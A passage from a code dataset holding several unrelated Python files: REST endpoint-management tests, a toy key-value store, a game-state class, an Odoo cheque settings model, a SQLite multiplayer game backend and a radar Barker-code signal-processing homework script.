simulate_scaling(custom_obj_api, apps_api_instance, headers, namespace, name, replicas):\n url = ENDPOINT_MANAGEMENT_API_URL_SCALE.format(endpoint_name=name, tenant_name=namespace)\n data = json.dumps({\n 'replicas': replicas\n })\n\n response = requests.patch(url, data=data, headers=headers)\n\n assert response.status_code == 200\n assert \"patched\" in response.text\n assert check_replicas_number_matching_provided(\n custom_obj_api, namespace, name, provided_number=replicas\n ) == CheckResult.CONTENTS_MATCHING\n\n assert wait_server_setup(apps_api_instance, namespace, name, replicas\n ) == OperationStatus.SUCCESS\n\n\nFAILING_SCALE_PARAMS = [\n (DEFAULT_HEADERS, \"wrong_name\", {'replicas': 3}, 400, \"Not Found\"),\n (DEFAULT_HEADERS, \"predict\", {'replicas': -1}, 400, \"-1 is less than the minimum of 0\"),\n (DEFAULT_HEADERS, \"predict\", {'replicas': \"many\"}, 400, \"'many' is not of type 'integer'\"),\n (DEFAULT_HEADERS, \"predict\", {}, 400, \"{} is not valid under any of the given schemas\"),\n]\n\n\n@pytest.mark.parametrize(\"auth, endpoint_name, scale_params, expected_status_code, \"\n \"expected_error_msg\",\n FAILING_SCALE_PARAMS)\ndef test_fail_to_scale_endpoint(auth, tenant_with_endpoint, endpoint_name, scale_params,\n expected_status_code, expected_error_msg):\n namespace, _ = tenant_with_endpoint\n data = json.dumps(scale_params)\n url = ENDPOINT_MANAGEMENT_API_URL_SCALE.format(endpoint_name=endpoint_name,\n tenant_name=namespace)\n response = requests.patch(url, data=data, headers=auth)\n\n assert response.status_code == expected_status_code\n assert expected_error_msg in response.text\n\n\nCORRECT_UPDATE_PARAMS = [\n {'modelName': 'new-name', 'modelVersion': 2},\n {'modelName': 'new-name', 'modelVersion': 2, 'resources':\n {'limits.cpu': '500m', 'limits.memory': '500Mi', 'requests.cpu': '200m',\n 'requests.memory': '200Mi'}}\n]\n\n\n@pytest.mark.parametrize(\"new_values\", CORRECT_UPDATE_PARAMS)\ndef test_update_endpoint(get_k8s_custom_obj_client, apps_api_instance,\n tenant_with_endpoint, new_values):\n namespace, body = tenant_with_endpoint\n crd_server_name = body['spec']['endpointName']\n data = json.dumps(new_values)\n\n url = ENDPOINT_MANAGEMENT_API_URL.format(endpoint_name=crd_server_name, tenant_name=namespace)\n\n response = requests.patch(url, data=data, headers=DEFAULT_HEADERS)\n\n assert response.status_code == 200\n assert \"patched\" in response.text\n time.sleep(2)\n assert check_model_params_matching_provided(\n get_k8s_custom_obj_client, namespace, crd_server_name, provided_params=new_values\n ) == CheckResult.CONTENTS_MATCHING\n assert check_server_update_result(apps_api_instance, namespace, crd_server_name, new_values\n ) == CheckResult.CONTENTS_MATCHING\n\n\nFAILING_UPDATE_PARAMS = [\n (DEFAULT_HEADERS, \"wrong_name\", {'modelName': 'super-model', 'modelVersion': 3}, 400,\n \"Not Found\"),\n (DEFAULT_HEADERS, \"predict\", {'modelName': 0, 'modelVersion': 3}, 400,\n \"0 is not of type 'string'\"),\n (DEFAULT_HEADERS, \"predict\", {'modelName': 'super-model', 'modelVersion': \"str\"}, 400,\n \"'str' is not of type 'integer'\"),\n (DEFAULT_HEADERS, \"predict\", {'modelVersion': 3}, 400, \"{'modelVersion': 3} is not valid \"\n \"under any of the given schemas\"),\n (DEFAULT_HEADERS, \"predict\", {'modelName': 'super-model'}, 400,\n \"{'modelName': 'super-model'} is not valid under any of the given schema\"),\n]\n\n\n@pytest.mark.parametrize(\"auth, endpoint_name, update_params, expected_error_code, \"\n \"expected_error_msg\", FAILING_UPDATE_PARAMS)\ndef test_fail_to_update_endpoint(get_k8s_custom_obj_client,\n auth, endpoint_name, update_params,\n expected_error_code, expected_error_msg, tenant_with_endpoint):\n\n namespace, body = tenant_with_endpoint\n crd_server_name = body['spec']['endpointName']\n\n data = json.dumps(update_params)\n\n url = ENDPOINT_MANAGEMENT_API_URL.format(endpoint_name=endpoint_name, tenant_name=namespace)\n\n response = requests.patch(url, data=data, headers=auth)\n\n assert response.status_code == expected_error_code\n assert expected_error_msg in response.text\n assert check_model_params_matching_provided(\n get_k8s_custom_obj_client, namespace, crd_server_name, provided_params=update_params\n ) == CheckResult.CONTENTS_MISMATCHING\n\n\nQUOTA_INCOMPLIANT_VALUES = [\n ({}, \"No resources provided\"),\n ({'requests.cpu': '1'}, \"Missing resources values\"),\n]\n\n\n@pytest.mark.parametrize(\"incompliant_quota, expected_error\", QUOTA_INCOMPLIANT_VALUES)\ndef test_not_create_endpoint_with_incompliant_resource_quota(session_tenant, incompliant_quota,\n expected_error):\n\n crd_server_name = 'predict'\n namespace, _ = session_tenant\n\n model_name = 'resnet'\n model_version = 1\n replicas = 1\n data = json.dumps({\n 'modelName': model_name,\n 'modelVersion': model_version,\n 'endpointName': crd_server_name,\n 'subjectName': 'client',\n 'replicas': replicas,\n 'resources': incompliant_quota\n })\n\n url = ENDPOINTS_MANAGEMENT_API_URL.format(tenant_name=namespace)\n\n headers = DEFAULT_HEADERS\n response = requests.post(url, data=data, headers=headers)\n\n assert response.status_code == 400\n assert expected_error in response.text\n\n\n@pytest.mark.parametrize(\"tenant_fix, auth_headers, expected_status, expected_message\",\n [('tenant_with_endpoint', DEFAULT_HEADERS, 200,\n \"Endpoints present in {} tenant\"),\n ('empty_tenant', DEFAULT_HEADERS, 200,\n \"There's no endpoints present in {} tenant\"),\n ('fake_tenant_endpoint', USER2_HEADERS, 404, \"Tenant {} does not exist\")\n ])\ndef test_list_endpoints(request, tenant_fix, auth_headers,\n expected_status, expected_message):\n namespace, _ = request.getfixturevalue(tenant_fix)\n url = ENDPOINTS_MANAGEMENT_API_URL.format(tenant_name=namespace)\n response = requests.get(url, headers=auth_headers)\n\n assert expected_status == response.status_code\n assert expected_message.format(namespace) in response.text\n\n\n@pytest.mark.parametrize(\"endpoint_fix, endpoint_name, expected_status, expected_message\",\n [('tenant_with_endpoint', 'predict', 200, \"Endpoint {} in {} tenant\"),\n ('tenant_with_endpoint', 'not_exist', 404, 'Endpoint {} does not exist')])\ndef test_view_endpoint(request, endpoint_fix, endpoint_name, expected_status, expected_message):\n namespace, _ = request.getfixturevalue(endpoint_fix)\n url = ENDPOINT_MANAGEMENT_API_URL.format(endpoint_name=endpoint_name, tenant_name=namespace)\n response = requests.get(url, headers=DEFAULT_HEADERS)\n\n assert expected_status == response.status_code\n assert expected_message.format(endpoint_name, namespace) in response.text\n\n\ndef test_not_create_endpoint_tenant_not_exist():\n headers = USER2_HEADERS\n crd_server_name = 'predict'\n namespace = 'saturn'\n replicas = 1\n data = json.dumps({\n 'modelName': 'resnet',\n 'modelVersion': 1,\n 'endpointName': crd_server_name,\n 'subjectName': 'client',\n 'replicas': replicas,\n 'resources': ENDPOINT_RESOURCES\n })\n url = ENDPOINTS_MANAGEMENT_API_URL.format(tenant_name=namespace)\n\n response = requests.post(url, data=data, headers=headers)\n\n assert response.status_code == 404\n assert \"Tenant {} does not exist\".format(namespace) in response.text\n\n\n@pytest.mark.parametrize('tenant_with_endpoint_parametrized_max_endpoints', [2, 3], indirect=True)\ndef test_success_to_create_second_endpoint_with_max_endpoints_gt_one(\n tenant_with_endpoint_parametrized_max_endpoints):\n namespace, body = tenant_with_endpoint_parametrized_max_endpoints\n endpoint_name = \"predict-2\"\n body['spec']['endpointName'] = endpoint_name\n body['spec']['resources'] = ENDPOINT_RESOURCES\n url = ENDPOINTS_MANAGEMENT_API_URL.format(tenant_name=namespace)\n response = requests.post(url, data=json.dumps(body['spec']), headers=DEFAULT_HEADERS)\n assert response.status_code == 200\n assert \"Endpoint created\" in response.text\n assert f\"{endpoint_name}-{namespace}\" in response.text\n\n\n@pytest.mark.parametrize('tenant_with_endpoint_parametrized_max_endpoints', [1], indirect=True)\ndef test_fail_to_create_second_endpoint_with_max_endpoints_eq_one(\n tenant_with_endpoint_parametrized_max_endpoints):\n namespace, body = tenant_with_endpoint_parametrized_max_endpoints\n body['spec']['endpointName'] = \"predict-2\"\n body['spec']['resources'] = ENDPOINT_RESOURCES\n url = ENDPOINTS_MANAGEMENT_API_URL.format(tenant_name=namespace)\n response = requests.post(url, data=json.dumps(body['spec']), headers=DEFAULT_HEADERS)\n assert response.status_code == 409\n assert \"Endpoints have reached the quantity limit\" in response.text\n","sub_path":"tests/management_api_tests/endpoints/test_endpoints.py","file_name":"test_endpoints.py","file_ext":"py","file_size_in_byte":14672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"423637579","text":"import sys\n\ndatabase = {}\ninverse = {} #used to maintain runtime of numequalto\n\ndef SET(name, value):\n if name in database.keys():\n old_val = database[name]\n inverse[old_val] -=1\n\n database[name] = value\n \n if value in inverse.keys():\n inverse[value]+=1\n else:\n inverse[value] = 1\n\ndef GET(name):\n if (name in database.keys()):\n print(\">\", database[name])\n else:\n print(\"> NULL\")\n\ndef UNSET(name):\n val = database[name]\n del database[name]\n inverse[val]-=1\n\ndef NUMEQUALTO(value):\n if (value in inverse.keys()):\n print(\">\", inverse[value])\n else:\n print(\"> 0\")\n \n\ndef simpleDB():\n for line in sys.stdin:\n if (line == \"END\"):\n print(\"END\")\n break\n inputs = line.split()\n command = inputs[0]\n\n sys.stdout.write(line)\n if (command == \"SET\"):\n SET(inputs[1], inputs[2])\n\n elif (command == \"GET\"):\n GET(inputs[1])\n\n elif (command == \"UNSET\"):\n UNSET(inputs[1])\n\n elif (command == \"NUMEQUALTO\"):\n NUMEQUALTO(inputs[1])\n\n else:\n print(\"Error: no command found\")\n \nsimpleDB()\n","sub_path":"thumbtack.py","file_name":"thumbtack.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"105998686","text":"# -*- coding: utf-8 -*-\n#! usr/bin/env python3\n\"\"\"Base/placeholder game object.\n\"\"\"\nfrom .utility import *\nfrom .states import *\n\nDUMMY = 'DUMMY'\n\"\"\"\nStatic ID for incomplete game states. If an object has this as its ID, then\nit hasn't been fully loaded yet.\n\n\"\"\"\n\n\nclass State:\n def __init__(self, gi=get_int, gs=get_string, **options):\n \"\"\"\n Generic game state constructor.\n\n list commands\n bool dead\n dict globals\n str id\n dummy interface\n\n \"\"\"\n self.commands = [] # Script commands\n self.dead = False # Deletion flag\n self.globals = options.get('globals', {}) # Global vars\n self.id = gs(options.get('id', DUMMY)) # Unique ID\n self.interface = None # UI weakref\n self.locals = options.get('locals', {}) # Local vars\n self.object = None # Object weakref\n self.draw_order = -1 # Rendering order\n self.state = States.Game.DUMMY # Game state\n self.transition = options.get('transition') # Transition?\n self.visible = True # Visibility flag\n\n # Relative rendering / updating order\n self.render_layer = gi(options.get('render_layer', -1))\n self.update_layer = gi(options.get('update_layer', -1))\n\n # Placeholders for instantiated UI / object weakrefs\n self._interface = None\n self._object = None\n\n # Maintain for compatibility with actually transitioning states\n self.is_transitioning_in = False # is this fading in?\n self.is_transitioning_out = False # is this fading out?\n\n def __del__(self):\n \"\"\"Debugging only. Confirms whether garbage collection happened.\n \"\"\"\n if self.object:\n del self._object\n print('{} interface deleted.'.format(str(self)))\n\n if self.interface:\n del self._interface\n print('{} object deleted.'.format(str(self)))\n\n def __repr__(self):\n \"\"\"Implements repr(self).\n \"\"\"\n return '<{}> {}'.format(self.state, str(self))\n\n def __str__(self):\n \"\"\"Implements str(self).\n \"\"\"\n return ' {}'.format(self.id[-4:], str(self.state))\n\n def __eq__(self, other):\n \"\"\"Implements self == other.\n \"\"\"\n try:\n other = str(other.state)\n except AttributeError:\n other = str(other)\n return self.state == other\n\n def __ne__(self, other):\n \"\"\"Implements self != other.\n \"\"\"\n try:\n other = str(other.state)\n except AttributeError:\n other = str(other)\n return self.state != other\n\n @staticmethod\n def cmd(cmds, cmd, ui, obj) -> bool:\n \"\"\"Process local commands (if any).\n \"\"\"\n if not cmd:\n return False\n\n _call = cmd.call\n _args = cmd.args\n\n if _call not in cmds:\n return False\n\n return cmds[_call](ui, obj, _args)\n\n @property\n def busy(self) -> bool:\n \"\"\"\n Whether this object is busy with something. Override this for states\n that could ever possibly be considered \"busy\".\n\n \"\"\"\n return False\n\n @property\n def has_transitioned_in(self) -> bool:\n \"\"\"\n Whether this object is done transitioning in. Override this for states\n that transition.\n\n \"\"\"\n return True\n\n @property\n def has_transitioned_out(self) -> bool:\n \"\"\"\n Whether this object is done transitioning out. Override this\n for states that transition.\n\n \"\"\"\n return False\n\n @property\n def is_transitioning(self) -> bool:\n \"\"\"\n Whether this object is done transitioning in/out. Override this for\n states that transition.\n\n \"\"\"\n return False\n\n @property\n def ready(self) -> bool:\n \"\"\"Whether this object's state is fully loaded.\n \"\"\"\n return True if self.interface else False\n\n @property\n def tag(self) -> str:\n \"\"\"Object's game state as string.\n \"\"\"\n return str(self.state)\n\n @property\n def name(self) -> str:\n \"\"\"Game state as capitalized name.\n \"\"\"\n return str(self.state).capitalize()\n\n def set_layer(self, value=-1):\n \"\"\"Sets / resets this object's rendering and updating layers.\n \"\"\"\n self.update_layer = value\n self.render_layer = value\n\n if self.interface:\n _ = self.interface()\n _.update_layer = value\n _.render_layer = value\n\n if self.object:\n _ = self.object()\n _.update_layer = value\n _.render_layer = value\n\n def kill(self):\n \"\"\"Remove self from scope.\n \"\"\"\n if not self.transition:\n # Flag self for deletion\n self.dead = True\n\n if self._object:\n self._object.dead = True\n\n if self._interface:\n self._interface.dead = True\n\n def set_interface(self):\n \"\"\"\n Instantiates local interface from weakref. This implies that this is a\n game object (and not an interface).\n\n \"\"\"\n if not self._interface and self.interface:\n self._interface = self.interface()\n\n def transition_in(self, state=None, transition=None):\n \"\"\"Transitions into focus. Should be overridden.\n \"\"\"\n return state\n\n def transition_out(self, state):\n \"\"\"Transitions out of focus. Should be overridden.\n \"\"\"\n return\n\n def render(self, surface, tick):\n \"\"\"Base render method. (Unused).\n \"\"\"\n return\n\n def update(self, tick, inputs, active=False):\n \"\"\"Updates transition flag. Should be overridden.\n \"\"\"\n if self.has_transitioned_out:\n # Flag self as fully transitioned out\n self.is_transitioning_out = False\n","sub_path":"engine/dummy.py","file_name":"dummy.py","file_ext":"py","file_size_in_byte":6095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"47383578","text":"# -*- coding: utf-8 -*-\nfrom odoo import api, fields, models\nfrom ast import literal_eval\n\n\nclass ChequeConfiguration(models.Model):\n _name = 'cheque.config.settings'\n _inherit = 'res.config.settings'\n\n email = fields.Char('Email', required=True)\n alert_inbound = fields.Integer('For Inbound Cheques', required=True, default=1)\n alert_outbound = fields.Integer('For Outbound Cheques', required=True, default=1)\n interim_account_id = fields.Many2one('account.account', string=\"Customer Cheque Interim Account\", required=True)\n charges_account_id = fields.Many2one('account.account', string=\"Bank Charges Account\", required=True)\n cheque_journal_p_id = fields.Many2one('account.journal', string=\"Cheque Payment Journal\", required=True)\n cheque_journal_r_id = fields.Many2one('account.journal', string=\"Cheque Receive Journal\", required=True)\n\n @api.model\n def get_values(self):\n res = super(ChequeConfiguration, self).get_values()\n ICPSudo = self.env['ir.config_parameter'].sudo()\n email = ICPSudo.get_param('email')\n alert_inbound = literal_eval(ICPSudo.get_param('alert_inbound', default='False'))\n alert_outbound = literal_eval(ICPSudo.get_param('alert_outbound', default='False'))\n interim_account_id = literal_eval(ICPSudo.get_param('interim_account_id', default='False'))\n charges_account_id = literal_eval(ICPSudo.get_param('charges_account_id', default='False'))\n cheque_journal_p_id = literal_eval(ICPSudo.get_param('cheque_journal_p_id', default='False'))\n cheque_journal_r_id = literal_eval(ICPSudo.get_param('cheque_journal_r_id', default='False'))\n res.update({'email': email,\n 'alert_inbound': alert_inbound,\n 'alert_outbound': alert_outbound,\n 'interim_account_id': interim_account_id,\n 'charges_account_id': charges_account_id,\n 'cheque_journal_p_id': cheque_journal_p_id,\n 'cheque_journal_r_id': cheque_journal_r_id})\n return res\n\n @api.multi\n def set_values(self):\n res = super(ChequeConfiguration, self).set_values()\n ICPSudo = self.env['ir.config_parameter'].sudo()\n ICPSudo.set_param(\"email\", self.email)\n ICPSudo.set_param(\"alert_inbound\", self.alert_inbound)\n ICPSudo.set_param(\"alert_outbound\", self.alert_outbound)\n ICPSudo.set_param(\"interim_account_id\", self.interim_account_id.id)\n ICPSudo.set_param(\"charges_account_id\", self.charges_account_id.id)\n ICPSudo.set_param(\"cheque_journal_p_id\", self.cheque_journal_p_id.id)\n ICPSudo.set_param(\"cheque_journal_r_id\", self.cheque_journal_r_id.id)\n","sub_path":"Medical_09122019/cheque_management/models/cheque_config_settings.py","file_name":"cheque_config_settings.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"363167553","text":"import random\nimport string\nfrom typing import Optional\nfrom pydantic import BaseModel\nimport sqlite3\n\nclass scramRequest(BaseModel):\n user_id: str\n action: str\n game_id: str\n player: int\n nop: Optional[int] = None\n last_check: Optional[int] = None\n location: Optional[str] = None\n eggs: Optional[str] = None\n\nclass scramResponse(BaseModel):\n def __init__(self, dictionary):\n BaseModel.__init__(self)\n if(\"user_id\" in dictionary.keys()):\n self.user_id = dictionary[\"user_id\"]\n if(\"accepted\" in dictionary.keys()):\n self.accepted = dictionary[\"accepted\"]\n if(\"locations\" in dictionary.keys()):\n self.locations = dictionary[\"locations\"]\n if(\"eggs\" in dictionary.keys()):\n self.eggs = dictionary[\"eggs\"]\n if(\"splashes\" in dictionary.keys()):\n self.splashes = dictionary[\"splashes\"]\n if(\"last_check\" in dictionary.keys()):\n self.last_check = dictionary[\"last_check\"]\n user_id: Optional[str] = None\n accepted: Optional[bool] = None\n locations: Optional[str] = None\n eggs: Optional[str] = None\n\nclass Scramble:\n def __init__(self, debug=False, db='db.sqlite3'):\n self.debug = debug;\n self.conn = sqlite3.connect(db)\n self.cur = self.conn.cursor()\n\n def migrate(self):\n if (self.debug):\n print('DROPPING and CREATING `scramblegame` and `scramblemoves`;')\n self.cur.execute('DROP TABLE IF EXISTS `scramblegame`');\n self.cur.execute('DROP TABLE IF EXISTS `scramblemoves`');\n self.cur.execute('DROP TABLE IF EXISTS `scrambleeggs`');\n self.cur.execute('''CREATE TABLE `scramblegame` (\n `game_id` varchar(255),\n `user_id` varchar(255),\n `player` int(2) DEFAULT NULL,\n `nop` int(2) DEFAULT NULL,\n `started` int(2) DEFAULT NULL);''')\n self.cur.execute('''CREATE TABLE `scramblemoves` (\n `game_id` varchar(255),\n `player` int(2) DEFAULT NULL,\n `location` varchar(255),\n `timestamp` TIMESTAMP DEFAULT CURRENT_TIMESTAMP);''')\n self.cur.execute('''CREATE TABLE `scrambleeggs` (\n `game_id` varchar(255),\n `player` int(2) DEFAULT NULL,\n `egg` varchar(255),\n `timestamp` TIMESTAMP DEFAULT CURRENT_TIMESTAMP);''')\n self.conn.commit()\n self.conn.close()\n return {\"Migration\": \"Complete\"}\n\n def get_random_string(self, length):\n letters = string.ascii_lowercase\n result_str = ''.join(random.choice(letters) for i in range(length))\n return result_str\n\n def create_unique_game_id(self):\n check = self.get_random_string(9)\n while (self.find_game_id(check)):\n check = self.get_random_string(9)\n return check\n\n def find_game_id(self, gid):\n game = self.cur.execute('''SELECT `game_id`\n FROM `scramblegame` WHERE `game_id`=?;''', (gid,)).fetchone();\n return ((not game is None))\n\n def return_post(self, post):\n self.conn.close()\n post.user_id = None # never return user_id\n return post\n\n def check_user_and_game(self, post):\n game = self.cur.execute('''SELECT `user_id`, `started`\n FROM `scramblegame` WHERE `game_id`=? AND `user_id`=? AND `player`=?;''',\n (post.game_id, post.user_id, post.player)).fetchone();\n response = {'valid':False, 'started':False}\n if (not game is None): # game != null\n if (game[0] == post.user_id):\n response['valid'] = True\n if (game[1] == 1):\n response['started'] = True\n return response\n\n def new_game(self, post):\n if (self.debug):\n print('new_game called')\n print(post)\n post.game_id = self.create_unique_game_id()\n self.cur.execute('''INSERT INTO `scramblegame` (`game_id`, `user_id`, `player`, `nop`, `started`)\n VALUES (?, ?, ?, ?, 0);''', (post.game_id, post.user_id, post.player, post.nop))\n self.conn.commit()\n return self.return_post(post)\n\n def join_game(self, post):\n if (self.debug):\n print('join_game called')\n print(post)\n check = self.cur.execute('''SELECT `nop`, `player`\n FROM `scramblegame` WHERE `game_id`=? AND `user_id`=?;''',\n (post.game_id,post.user_id)).fetchone()\n post.last_check = -1; # started placeholder\n if (check is None): # no match for game_id + user_id\n game = self.cur.execute('''SELECT `nop`, COUNT(`player`)\n FROM `scramblegame` WHERE `game_id`=?;''', (post.game_id,)).fetchone()\n post.nop = game[0]\n post.player = game[1] # next_available_spot\n if (post.player < post.nop): # add to game\n self.cur.execute('''INSERT INTO `scramblegame` (`game_id`, `user_id`, `player`, `nop`, `started`)\n VALUES (?, ?, ?, ?, (SELECT `started` FROM `scramblegame` WHERE `game_id`=? LIMIT 1));''', (post.game_id, post.user_id, post.player, post.nop, post.game_id))\n else: # game is full\n post.nop = -1\n post.player = -1\n else: # rejoin game\n post.nop = check[0]\n post.player = check[1]\n post = self.rejoin_game(post);\n self.conn.commit()\n return self.return_post(post)\n\n def rejoin_game(self, post):\n if (self.debug):\n print('rejoin_game called')\n print(post)\n started = game = self.cur.execute('''SELECT `started`\n FROM `scramblegame` WHERE `game_id`=?;''', (post.game_id,)).fetchone()\n if (started[0] == 1):\n post.last_check = 1; # enable controls\n return post\n\n def start_game(self, post):\n if (self.debug):\n print('start_game called')\n print(post)\n if(self.check_user_and_game(post)['valid']):\n game = self.cur.execute('''SELECT `nop`, COUNT(`player`)\n FROM `scramblegame` WHERE `game_id`=?;''', (post.game_id,)).fetchone()\n if(game[0] == game[1]):\n self.cur.execute('''UPDATE `scramblegame` SET `started`=1\n WHERE `game_id`=?''', (post.game_id,))\n self.conn.commit()\n return scramResponse({\"accepted\":\"true\"})\n return scramResponse({\"accepted\":\"false\"}) # else\n\n def send_moves(self, post):\n if (self.debug):\n print('send_moves called')\n print(post)\n check = self.check_user_and_game(post)\n if(check['valid'] and check['started']):\n self.cur.execute('''INSERT INTO `scramblemoves` (`game_id`, `player` ,`location`) VALUES (?, ?, ?)''', (post.game_id, post.player, post.location))\n post = scramResponse({\"accepted\":\"true\"})\n self.conn.commit()\n return self.return_post(post)\n\n def send_eggs(self, post):\n if (self.debug):\n print('send_eggs called')\n print(post)\n check = self.check_user_and_game(post)\n if(check['valid'] and check['started']):\n self.cur.execute('''INSERT INTO `scrambleeggs` (`game_id`, `player`, `egg`) VALUES (?, ?, ?)''', (post.game_id, post.player, post.eggs))\n post = scramResponse({\"accepted\":\"true\"})\n self.conn.commit()\n return self.return_post(post)\n\n def get_moves(self, post):\n if (self.debug):\n print('get_moves called')\n print(post)\n post.last_check = -1; # default off\n check = self.check_user_and_game(post)\n if(check['valid'] and check['started']):\n post.last_check = 1; # enable controls\n nop = self.cur.execute('''SELECT `nop`\n FROM `scramblegame` WHERE `game_id`=?;''', (post.game_id,)).fetchone()\n locations = []\n eggs = []\n for i in range(0, nop[0]):\n locations.append(self.cur.execute('''SELECT `player`, `location`\n FROM `scramblemoves` WHERE `game_id`=? AND `player`=? ORDER BY `timestamp` DESC\n LIMIT 1;''', (post.game_id, i)).fetchone())\n eggs.append(self.cur.execute('''SELECT `player`, `egg`\n FROM `scrambleeggs` WHERE `game_id`=? AND `player`=? ORDER BY `timestamp` DESC\n LIMIT 9;''', (post.game_id, i)).fetchone())\n post = scramResponse({\"locations\":locations, \"eggs\":eggs})\n return self.return_post(post)\n","sub_path":"modules/scramble.py","file_name":"scramble.py","file_ext":"py","file_size_in_byte":8510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"488652668","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 2 11:53:14 2018\n\n@author: Asus\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.signal import hilbert\nimport scipy.signal as sgn\n\nplt.close('all')\n\n#%%\nimport time\nfrom IPython import display\n\n\ndef genwhite(N):\n return np.sqrt(0.5)*(np.random.randn(N) + 1.0j*np.random.randn(N))\n\ndef P1(data):\n return np.mean((data*np.conj(data)).real)\n\n\n#%% Problem 1\nrawdata = np.fromfile('HW3_data\\hw2-2018-b13.sc', dtype='short')\n#+++++--++-+-+\nb13 = [1,1,1,1,1,0,0,1,1,0,1,0,1]\niqdata = rawdata[0::2] + 1j*rawdata[1::2]\nmatched = np.convolve(iqdata,b13[::-1])\n\nplt.figure(figsize=(15,5))\nplt.plot(abs(matched))\nplt.xlabel('Range',fontsize=16)\nplt.ylabel('Signal strength',fontsize=16)\nplt.title('Target detection using 13-Baud Barker Code',fontsize=16)\n\n#%% Problem 2\n#Match signal a\nrawdata = np.fromfile('HW3_data\\hw2-2018-c8a.sc', dtype='short')\niqdata = rawdata[0::2] + 1j*rawdata[1::2]\nc8a = [1,1,1,0,1,1,0,1] #+++-++-+\nmatcheda = np.convolve(iqdata,c8a[::-1])\n\n#Match signal b\nrawdata = np.fromfile('HW3_data\\hw2-2018-c8b.sc', dtype='short')\niqdata = rawdata[0::2] + 1j*rawdata[1::2]\nc8b = [1,1,1,0,0,0,1,0] #+++---+- \nmatchedb = np.convolve(iqdata,c8b[::-1])\n\nmatchedsum = matcheda + matchedb\n\nplt.figure(figsize=(15,5))\nplt.plot(abs(matcheda),label='Matched Signal b8a')\nplt.plot(abs(matchedb),label='Matched Signal b8b')\nplt.plot(abs(matchedsum),label='Sum b8a+b8b')\nplt.legend()\nplt.xlabel('Range',fontsize=16)\nplt.ylabel('Signal strength',fontsize=16)\nplt.title('Target detection using 8-Baud complementary Barker Code',fontsize=16)\nplt.show()\n\n#%% Problem 4\nrawdata = np.fromfile('HW3_data\\hw3-2018-4.sc', dtype='short')\niqdata = rawdata[0::2] + 1j*rawdata[1::2]\n#k=0\n#fullsignal=np.zeros(64*200, dtype=complex)\n#for l in range(64):\n# fullsignal[l*200:l*200+64]=iqdata[k*64:(k+1)*64]\n#fk = np.fft.fft(fullsignal)/64\n#freq = np.fft.fftfreq(fk.size, d=10*(10**-6))\n#fk=np.fft.fftshift(fk)\n#freq=np.fft.fftshift(freq)\n#plt.figure(figsize=(15,5))\n#plt.plot(freq,abs(fk))\n#%% Problem 4 c.\ntranspulse = iqdata[0::64]\nnrpulses = transpulse.size\n\n#%% Problem 4 d.\n\n#2.\nnoisedata=np.zeros((len(iqdata)//2,), dtype=complex)\nl=0\nfor k in range(len(iqdata)):\n if np.mod(k,64)>31:\n noisedata[l] = iqdata[k]\n l+=1\n \n#plt.figure(figsize=(15,5))\n#plt.plot(noisedata)\nPnoise = P1(noisedata)\nprint(Pnoise)\n\n#3. var(est(P1))=1/n P**2\nvarP1 = 1/len(noisedata)*Pnoise**2\nstdevP1 =np.sqrt(varP1)\nprint(stdevP1)\n\n\n#%% Problem 4 e.\nprange1=np.zeros(64)\nfor k in range(64):\n prange1[k]=P1(iqdata[k::64])\nrang = np.arange(64)*(3*10**5/2*10*10**-6)\nplt.figure(figsize=(15,5))\nplt.plot(rang,prange1)\nplt.xlabel('Range in km')\nplt.ylabel('Signal Power')\nplt.title('Signal Power Estimate over Range')\nplt.show()\n\n#%% Problem 4 f.\nf0 = 1/(10*10**-6)\ni=10\nfor k in [2,7,14,21,28]:\n \n fk = np.fft.fft(iqdata[k::64])/64\n freq = np.fft.fftfreq(fk.size, d=2*(10**-3))\n fk = np.fft.fftshift(fk)\n freq = np.fft.fftshift(freq)\n plt.xlabel('Frequency in Hz')\n plt.ylabel('Fourier coeffiecients')\n plt.title('Doppler spectrum of square pulse at range '+str(rang[k])+'km')\n\n plt.figure(i,figsize=(10,5))\n plt.plot(freq,abs(fk))\n plt.show()\n i+=1\n#%% Problem 4 g.\nFK=np.zeros((64,64))\nFREQ=np.zeros((64,64))\nfor k in range(64):\n fk = np.fft.fft(iqdata[k::64])/64\n# freq = np.fft.fftfreq(fk.size, d=10*(10**-6))\n fk = np.fft.fftshift(fk)\n# freq = np.fft.fftshift(freq)\n FK[k,:] = abs(fk)\n# FREQ[k,:] = freq \nplt.figure()\nplt.xlabel('Frequency Bins')\nplt.ylabel('Range Bins')\nplt.title('Fourier Coefficients over Range and Frequency for Square Pulse')\nplt.imshow(np.log10(FK[1:,:]),cmap='gray',interpolation='none')\n\n#%% Probelm 5 a.\n\nrawdata = np.fromfile('HW3_data\\hw3-2018-5.sc', dtype='short')\niqdata = rawdata[0::2] + 1j*rawdata[1::2]\n\nc7 = [1,1,1,0,0,1,0] #+++--+-\nmatched = np.convolve(iqdata,c7[::-1],'same')\n\nprange2=np.zeros(64)\nfor k in range(64):\n prange2[k]=P1(matched[k::64])\n \nplt.figure(figsize=(15,5))\nplt.plot(rang,prange2)\nplt.xlabel('Range in km')\nplt.ylabel('Signal Power')\nplt.title('Signal Power of 7-Baud code over Range')\n\n#%% Problem 5 b.\ninterest = [5,10,17,24,31]\n\nfor k in interest:\n#for k in range(64): \n fk = np.fft.fft(matched[k::64])/64\n freq = np.fft.fftfreq(fk.size, d=2*(10**-3))\n fk = np.fft.fftshift(fk)\n freq = np.fft.fftshift(freq)\n\n plt.figure(figsize=(10,5))\n# plt.figure(i) \n plt.plot(freq,abs(fk))\n plt.xlabel('Frequency in Hz')\n plt.ylabel('Fourier coeffiecients')\n plt.title('Doppler spectrum of 7-Baud code at range '+str(rang[k])+'km')\n plt.show()\n# i+=1\n# time.sleep(1.0)\n \n#%% Problem 5 c.\nFK=np.zeros((64,64))\nfor k in range(64):\n fk = np.fft.fft(matched[k::64])/64\n# freq = np.fft.fftfreq(fk.size, d=10*(10**-6))\n fk = np.fft.fftshift(fk)\n# freq = np.fft.fftshift(freq)\n 